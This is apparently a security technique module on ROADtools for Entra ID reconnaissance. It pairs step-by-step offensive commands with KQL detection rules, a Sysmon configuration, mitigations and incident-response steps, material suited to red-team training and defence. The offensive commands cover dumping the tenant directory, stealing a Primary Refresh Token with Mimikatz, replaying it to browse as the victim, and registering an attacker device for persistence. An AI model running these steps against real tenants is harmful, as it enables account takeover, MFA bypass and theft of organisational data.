| Field | Value |
|---|---|
| Module ID | REC-CLOUD-002 |
| Technique Name | ROADtools Entra ID enumeration |
| MITRE ATT&CK ID | T1087.004 – Account Discovery: Cloud Account |
| CVE | N/A (Legitimate research framework) |
| Platform | Microsoft Entra ID / Azure AD |
| Viability Status | ACTIVE ✓ |
| Difficulty to Detect | MEDIUM (distinctive patterns; offline analysis unlogged) |
| Requires Authentication | Yes (any valid cloud credential) |
| Applicable Versions | Entra ID, Azure AD, hybrid environments |
| Last Verified | December 2025 |
| Tool Author | Dirk-Jan Mollema (@_dirkjan) |
| Repository | https://github.com/dirkjanm/ROADtools |
| Author | SERVTEP – Artur Pchelnikau |
ROADtools is a comprehensive framework for Azure AD/Entra ID reconnaissance and token handling that provides both offensive red team capabilities and defensive blue team analysis functions. The framework consists of two primary tools: ROADrecon (enumeration and database building) and roadtx (token exchange and device authentication). ROADrecon is notable for directly querying the undocumented internal Azure AD Graph API (version 1.61-internal), which exposes significantly more data than official Microsoft Graph APIs and can bypass portal access restrictions.
Strategic Capability:
Business Impact:
pip install roadreconpip install roadtx| Factor | Risk Level | Mitigation |
|---|---|---|
| Detection (gather phase) | MEDIUM | High API volume detectable if monitoring enabled |
| Detection (GUI analysis) | LOW | Offline work, no API traffic; undetectable |
| Credential exposure | MEDIUM | Tokens stored on disk; Mimikatz/WDigest can retrieve |
| Attribution | MEDIUM | IP logging; user account traceability |
| Remediation timeline | HIGH | Offline database enables long-term analysis |
Objective: Authenticate and enumerate all Entra ID users.
# Step 1: Authentication
roadrecon auth -u "user@contoso.com" -p "Password123!"
# Optional: Specify tenant if multi-tenant
roadrecon auth -u "user@contoso.com" -p "Password123!" -t "contoso.onmicrosoft.com"
# Optional: Device code flow (supports MFA)
roadrecon auth --device-code
# Optional: Output tokens to stdout (avoid disk storage)
roadrecon auth -u "user@contoso.com" -p "Password123!" --tokens-stdout > tokens.txt
# Step 2: Data Gathering
roadrecon gather
# Progress output:
# Starting data gathering phase 1 of 2 (collecting objects)
# Starting data gathering phase 2 of 2 (collecting properties and relationships)
# ROADrecon gather executed in X seconds and issued Y HTTP requests
# Step 3: Launch GUI for interactive exploration
roadrecon gui
# Access at: http://localhost:5000
Data Extracted:
Objective: Identify paths to Global Administrator role.
# After gathering data, launch GUI
roadrecon gui
# Navigate to:
# 1. "Directory Roles" tab
# - Displays all roles and members
# - Shows MFA status per user (if gathered with --mfa)
# - Identify high-value targets (Global Admin, Privileged Role Admin, etc.)
# 2. "Groups" tab
# - Search for admin-related group names
# - Click to view members
# - Trace nested group membership to identify escalation paths
# - Example: User -> Department Admins Group -> Global Admin Group
# 3. "Application Roles" tab
# - Shows service principals with Microsoft Graph permissions
# - Identify SPs with RoleManagement.ReadWrite.Directory
# - These SPs can assign roles to other users (privilege escalation)
# 4. Conditional Access Policies (via plugin)
# - Export to HTML: roadrecon-plugins policies
# - Shows MFA requirements, device compliance conditions
# - Identify policy gaps or bypass opportunities
Query Examples (via database directly):
from roadtools.roadlib import database
import roadtools.roadlib.metadef.database as db
session = database.get_session(database.init("roadrecon.db"))
# Find all Global Administrators
global_admins = session.query(db.User).filter(
db.User.roles.any(db.Role.displayName == "Global Administrator")
)
for user in global_admins:
print(f"Global Admin: {user.userPrincipalName}")
# Find all groups with "admin" in name
admin_groups = session.query(db.Group).filter(
db.Group.displayName.ilike('%admin%')
)
# Find service principals with Graph API permissions
sps_with_graph = session.query(db.ServicePrincipal).filter(
db.ServicePrincipal.approleAssignments.any(
db.AppRoleAssignment.appRole.contains("RoleManagement")
)
)
Objective: Extract stolen PRT and use for elevated access (via roadtx).
# Step 1: Extract PRT from Windows endpoint (Mimikatz)
# On victim Windows 10/11 machine:
mimikatz.exe "privilege::debug" "sekurlsa::cloudap" exit
# Mimikatz output:
# [cloudap] Context [cloudap]
# ...
# * PRT/Data: <encrypted PRT>
# * ProofOfPossesionKey: <encrypted key>
# Step 2: Decrypt session key
mimikatz.exe "token::elevate" "dpapi::cloudapkd /keyvalue:<KeyValue> /unprotect" exit
# Step 3: On attacker machine, renew and use PRT
roadtx prt -a renew --prt "<PRT_from_mimikatz>" --prt-sessionkey "<clear_key>"
# Step 4: Request tokens using PRT (bypasses MFA if not in PRT)
roadtx prtauth
# Step 5: Use PRT in interactive browser session
roadtx browserprtauth
# Opens browser with automatic authentication using stolen PRT
# Access SharePoint, OneDrive, Teams, Azure Portal as victim user
Impact:
Objective: Register Azure AD device and obtain PRT for long-term access.
# Step 1: Get token for device registration (requires MFA-capable credential)
roadtx gettokens -u "user@contoso.com" -p "Password123!" -r devicereg
# Or with interactive MFA support:
roadtx interactiveauth -u "user@contoso.com" -p "Password123!" -r devicereg
# Step 2: Register device
roadtx device -n "AttackerDevice"
# Output:
# Device ID: 5f138d8b-6416-448d-89ef-9b279c419943
# Saved device certificate to AttackerDevice.pem
# Saved private key to AttackerDevice.key
# Step 3: Request Primary Refresh Token
roadtx prt -u "user@contoso.com" -p "Password123!" \
--key-pem AttackerDevice.key --cert-pem AttackerDevice.pem
# Output:
# Saved PRT to roadtx.prt
# Step 4: Renew PRT to extend validity (90 days)
roadtx prt -a renew
# Step 5: Use PRT for future operations (no password needed)
roadtx prtauth
# PRT remains valid for 90 days, renewable without user interaction
Strategic Value:
Objective: Automate authentication with MFA support using KeePass credentials.
# Setup: Create KeePass database (roadtx.kdbx) with credentials and TOTP seeds
# Credentials structure:
# - Username: user@contoso.com
# - Password: <encrypted>
# - otp (custom field): <TOTP_seed>
# Authentication with automatic TOTP filling:
roadtx keepassauth -u "user@contoso.com" -kp roadtx.kdbx -kpp "kdbx_password"
# Opens Firefox browser, auto-fills username, auto-enters TOTP code
# Captures tokens automatically upon successful authentication
# Interactive browsing with auto-auth:
roadtx keepassauth -u "user@contoso.com" -kp roadtx.kdbx -kpp "kdbx_password" \
-url "https://myaccount.microsoft.com" --keep-open
# Browser remains open after auth; browse as authenticated user
Advantages:
Objective: Perform all analysis offline after initial gather, leaving no additional traces.
# Step 1: Initial gather (one-time, high API volume)
roadrecon gather --mfa
# This generates roadrecon.db (~100-500MB)
# Contains complete snapshot of tenant at time of execution
# Step 2: Transfer database to air-gapped machine (optional)
scp roadrecon.db attacker@offline-machine:/tmp/
# Step 3: Unlimited offline analysis (zero API traffic)
# Launch GUI on offline machine:
roadrecon gui -d /tmp/roadrecon.db
# Or programmatic queries:
from roadtools.roadlib import database
session = database.get_session(database.init("/tmp/roadrecon.db"))
# Query 1: Find all users with "admin" in title
admins = session.query(db.User).filter(
db.User.jobTitle.ilike('%admin%')
)
# Query 2: Find privilege escalation paths
def find_escalation_paths(user):
"""Trace group membership to identify admin roles"""
groups = user.memberOf
for group in groups:
if "admin" in group.displayName.lower():
return group
return None
# Query 3: Identify misconfigured service principals
dangerous_sps = session.query(db.ServicePrincipal).filter(
db.ServicePrincipal.approleAssignments.any(
db.AppRoleAssignment.appRole.contains("RoleManagement.ReadWrite")
)
)
# Query 4: Export users with no MFA
no_mfa_users = [u for u in session.query(db.User) if not u.authenticationMethods]
# All analysis after gather = no API traffic, no logging, undetectable
Detection Evasion:
| Command | Purpose | Example |
|---|---|---|
roadrecon auth |
Authenticate to Azure AD | roadrecon auth -u user@contoso.com -p pass |
roadrecon gather |
Dump all directory data to database | roadrecon gather --mfa |
roadrecon gui |
Launch web UI for exploration | roadrecon gui -d roadrecon.db |
roadrecon export |
Export data to plugin format | roadrecon export -p policies (outputs HTML) |
| Command | Purpose | Example |
|---|---|---|
roadtx gettokens |
Request tokens for resource | roadtx gettokens -u user@contoso.com -p pass -r devicereg |
roadtx device |
Register Azure AD device | roadtx device -n "AttackerDevice" |
roadtx prt |
Request/renew Primary Refresh Token | roadtx prt -u user@contoso.com -p pass --key-pem key.pem --cert-pem cert.pem |
roadtx prtauth |
Request tokens using PRT | roadtx prtauth |
roadtx interactiveauth |
Browser-based auth with MFA | roadtx interactiveauth -u user@contoso.com -p pass |
roadtx keepassauth |
KeePass-based auth automation | roadtx keepassauth -u user@contoso.com -kp creds.kdbx |
roadtx browserprtauth |
Interactive browser with PRT | roadtx browserprtauth |
roadtx listaliases |
Show resource/client aliases | roadtx listaliases |
| Method | MFA Support | Interactivity | Difficulty | Detection |
|---|---|---|---|---|
| Username/password | NO | Non-interactive | Easy | Medium (one request) |
| Device code flow | YES | Interactive | Medium | Medium (code entry) |
| Refresh token | Conditional | Non-interactive | Easy | Low (token reuse) |
| PRT (stolen) | Depends on PRT | Non-interactive | Hard | Medium (API pattern) |
| PRT (registered) | Can be enriched | Non-interactive | Hard | High (device creation logged) |
# Procedure
roadrecon auth -u "$TEST_USER" -p "$TEST_PASS"
roadrecon gather
# Success Criteria
if [ -f "roadrecon.db" ] && [ $(sqlite3 roadrecon.db "SELECT COUNT(*) FROM users;") -gt 0 ]; then
echo "✓ Test PASSED: Database created with user enumeration"
else
echo "✗ Test FAILED: No database or no users enumerated"
fi
# Procedure
python3 << 'EOF'
from roadtools.roadlib import database
import roadtools.roadlib.metadef.database as db
session = database.get_session(database.init("roadrecon.db"))
admin_count = session.query(db.Role).filter(
db.Role.displayName.ilike('%admin%')
).count()
if admin_count > 0:
print(f"✓ Test PASSED: Found {admin_count} admin roles")
else:
print("✗ Test FAILED: No admin roles enumerated")
EOF
# Procedure
roadtx device -n "TestDevice"
if [ -f "TestDevice.pem" ] && [ -f "TestDevice.key" ]; then
echo "✓ Test PASSED: Device registered with certificate and key"
else
echo "✗ Test FAILED: Device registration failed"
fi
# Procedure
roadtx prt -u "$TEST_USER" -p "$TEST_PASS" --key-pem TestDevice.key --cert-pem TestDevice.pem
if [ -f "roadtx.prt" ]; then
echo "✓ Test PASSED: Primary Refresh Token obtained"
else
echo "✗ Test FAILED: PRT request failed"
fi
Rule Metadata:
KQL Query:
let ROADToolsEndpoints = dynamic([
"/v1.0/users",
"/v1.0/groups",
"/v1.0/devices",
"/v1.0/roles",
"/v1.0/servicePrincipals",
"/v1.0/applications",
"/beta/policies",
"/v1.0/groupMembers",
"/v1.0/appRoleAssignments"
]);
MicrosoftGraphActivityLogs
| where TimeGenerated > ago(1h)
| where ResponseStatusCode == 200
| extend NormalizedUri = replace_regex(RequestUri, @'\?.+$', '')
| where NormalizedUri has_any (ROADToolsEndpoints)
| summarize
CallCount = count(),
EndpointCount = dcount(NormalizedUri),
FirstSeen = min(TimeGenerated),
LastSeen = max(TimeGenerated)
by UserId, IPAddress, UserAgent, bin(TimeGenerated, 5m)
| where CallCount > 100 // ROADrecon issues 490+ in gather phase
| extend AlertSeverity = "High", TechniqueID = "T1087.004"
Rule Metadata:
KQL Query:
// Pattern: Device registration followed by PRT request from same user/IP
let DeviceRegs = AuditLogs
| where OperationName == "Register device"
| project RegisterTime = TimeGenerated, UserId, IPAddress, DeviceId = tostring(parse_json(AdditionalDetails)[0].value)
| distinct UserId, IPAddress, RegisterTime;
SigninLogs
| where TimeGenerated > ago(24h)
| where ResourceDisplayName == "Azure Device Registration Service"
| join kind=inner (DeviceRegs) on UserId, IPAddress
| where TimeGenerated - RegisterTime < 5m // PRT request within 5 mins of device reg
| project TimeGenerated, UserId, IPAddress, RegisterTime, AlertSeverity = "High"
Note: ROADrecon/roadtx execute externally; local logs on victim machine do NOT capture the tool’s execution. Monitor these cloud-side events:
// Filter for non-interactive sign-ins from ROADtools activity
SigninLogs
| where TimeGenerated > ago(7d)
| where AuthenticationRequirement == "singleFactorAuthentication" // MFA not enforced
| where ClientAppUsed == "Modern authentication clients"
| where ResourceDisplayName == "Azure AD Graph"
| where LocationDetails.countryOrRegion != "FR" // Anomalous location
| project TimeGenerated, UserPrincipalName, IPAddress, ClientAppUsed, ConditionalAccessStatus
// Detect device registration + role assignments (typical ROADtools flow)
AuditLogs
| where TimeGenerated > ago(7d)
| where OperationName in ("Register device", "Assign member to role", "Add group member")
| where InitiatedByApp.displayName == "Unknown" // Unusual initiator
| project TimeGenerated, OperationName, TargetResources, InitiatedByUser
Sysmon can detect local ROADrecon/roadtx execution:
<Sysmon schemaversion="4.30">
<EventFiltering>
<!-- Detect ROADrecon process execution -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">roadrecon</CommandLine>
<CommandLine condition="contains">roadtx</CommandLine>
<Image condition="contains">python</Image>
<ParentImage condition="contains">powershell</ParentImage>
</ProcessCreate>
<!-- Detect network connections to Azure AD Graph -->
<NetworkConnect onmatch="include">
<DestinationHostname condition="contains">graph.microsoft.com</DestinationHostname>
<DestinationHostname condition="contains">login.microsoftonline.com</DestinationHostname>
<DestinationPort>443</DestinationPort>
</NetworkConnect>
<!-- Detect database file creation (roadrecon.db) -->
<FileCreate onmatch="include">
<TargetFilename condition="contains">roadrecon.db</TargetFilename>
<TargetFilename condition="contains">roadtx.prt</TargetFilename>
<TargetFilename condition="endswith">.pem</TargetFilename> <!-- Device certs -->
</FileCreate>
<!-- Detect Firefox/GeckoDriver launch (Selenium automation) -->
<ProcessCreate onmatch="include">
<Image condition="endswith">firefox.exe</Image>
<Image condition="endswith">geckodriver.exe</Image>
</ProcessCreate>
</EventFiltering>
</Sysmon>
Installation:
sysmon64.exe -accepteula -i sysmon-config.xml
Alert Configuration:
Detectable Patterns:
| Legitimate Activity | ROADtools Behavior | Distinguishing Factor |
|---|---|---|
| Azure AD reporting/compliance tools | API queries to users, groups, roles | Scope (all objects vs. specific query); scheduled vs. burst |
| Admin activity in Azure Portal | API calls to Graph | User-agent (browser vs. python-requests); interactive vs. bulk |
| PowerShell admin scripts | Direct Graph API calls | Async parallel pattern vs. serial; bulk collect vs. targeted query |
| Identity governance solutions | Role/group enumeration | Expected service accounts; limited scope |
| EDR/XDR baseline collection | Endpoint enumeration | Restricted to agent data; no PRT requests |
Tuning Example:
// Exclude known legitimate gathering tools
let WhitelistedAccounts = dynamic([
"svc_governance@contoso.com",
"svc_audit@contoso.com",
"app_identitygov@contoso.com"
]);
let WhitelistedIPs = dynamic(["10.0.0.0/8"]);
MicrosoftGraphActivityLogs
| where UserId !in (WhitelistedAccounts)
| where IPAddress !startswith "10.0.0"
| where CallCount > 100
// ... rest of detection logic
Enable Microsoft Graph Activity Logging
Manual Configuration (Azure Portal):
Graph Activity LoggingImpact: Enables real-time detection of graph API enumeration phase.
Implement Conditional Access Policies (CAP)
Manual Configuration:
Block Risky Graph AccessImpact: Blocks non-MFA ROADtools authentication; forces MFA enrichment path (harder, slower).
Restrict Device Registration
Manual Configuration:
Impact: Blocks roadtx device register attack path.
Implement Privileged Identity Management (PIM)
Phishing-Resistant MFA (FIDO2)
Monitor for Impossible Travel
Manual Query (Sentinel):
SigninLogs
| where TimeGenerated > ago(24h)
| extend PrevLocation = prev(LocationDetails.countryOrRegion)
| where LocationDetails.countryOrRegion != PrevLocation
| where datetime_diff('hour', TimeGenerated, prev(TimeGenerated)) < 2 // 2 hours travel
| project TimeGenerated, UserPrincipalName, LocationDetails, AlertSeverity = "High"
If ROADrecon activity suspected:
# 1. Collect Microsoft Graph Activity Logs
Search-UnifiedAuditLog -Operations "UserLoggedIn" `
-StartDate (Get-Date).AddDays(-7) `
-EndDate (Get-Date) | `
Where-Object { $_.UserIds -contains "suspected_user" } | `
Export-Csv -Path graph_audit.csv
# 2. Collect Sign-in Logs
Get-MgAuditLogSignIn -Filter "userId eq 'suspected_user'" | `
Export-Csv -Path signin_logs.csv
# 3. Check for roadrecon.db or PRT files on endpoints
Get-ChildItem -Path "C:\Users" -Recurse -Include "roadrecon.db" -ErrorAction SilentlyContinue
# 4. Check for Python/pip installation (ROADrecon requirement)
Get-Command python | Select-Object Source
Revoke-AzureADUserAllRefreshToken -ObjectId "<UserObjectId>"
Get-MgDevice | Where-Object { $_.DisplayName -eq "AttackerDevice" } | Remove-MgDevice
T1078 (Valid Accounts)
↓
T1087.004 (Account Discovery: Cloud – ROADtools)
↓
T1069.003 (Permission Groups Discovery)
↓
T1548.004 (Abuse Elevation Control Mechanism: Entra ID Role Assignment)
↓
T1098.003 (Account Manipulation: Azure Service Principal Add)
↓
T1526 (Cloud Service Discovery)
↓
T1556 (Modify Authentication Process) [via PRT interception]
Phase 1: Initial Compromise
├─ Phishing email → Supply chain partner employee credential theft
└─ Credentials: contractor@vendor.com (read-only partner access)
Phase 2: Cloud Reconnaissance (T1087.004 – ROADtools)
├─ roadrecon auth -u contractor@vendor.com -p stolen_pass
├─ roadrecon gather (490+ API calls, gather phase)
├─ Analysis: Identify partner's vendors, identify cross-tenant connectivity
└─ Discovery: Partner SP with "User.ReadWrite.All" + "Directory.ReadWrite.All"
Phase 3: Service Principal Compromise
├─ Identify SP with excessive permissions
├─ Access SP credentials (if stored in shared KV)
└─ Escalate to full SaaS environment access
Phase 4: Lateral Movement to Primary Target
├─ Use partner SP to access partner's customers (multi-tenant)
├─ Enumerate e-commerce customer data
└─ Exfiltrate PII, payment info, business data
Phase 5: Persistence
├─ Register malicious device (roadtx device)
├─ Obtain PRT for long-term access
└─ Create hidden admin account for back-door access
Threat Group: Scattered Spider (Synack)
Target: Financial services, technology sector
Method: Initial compromise via employee credential theft (phishing)
Attack Flow:
Detection Failure Points:
Detection Success:
Threat Group: LockBit ransomware-as-a-service
Target: Manufacturing (hybrid AD + Azure environment)
Method: Compromised local AD → lateral movement to cloud
Attack Flow:
Detection Opportunities (Missed):
Detection Success:
| Standard | Requirement | ROADtools Mitigation |
|---|---|---|
| CIS Controls v8 | 6.1 (Account Management), 6.2 (Enumeration Prevention) | Restrict enum via Conditional Access; enable logging |
| DISA STIG | Cloud security hardening | Implement MFA, CAP, device registration restrictions |
| NIST 800-53 | AC-2 (Account Management), SI-4 (Monitoring), AU-12 (Audit) | Logging, CAP, PIM, impossible travel detection |
| GDPR | Article 32 (Security), Article 33 (Breach notification) | Unauthorized access to identity data; incident response procedures |
| DORA | Digital Operational Resilience | Cloud identity service security; incident response capability |
| NIS2 | Detection, response, incident management | Real-time detection of enumeration; IR procedures |
| ISO 27001:2022 | 5.2 (Policies), 8.2 (Access control), 8.15 (Logging) | Logging, access controls, monitoring |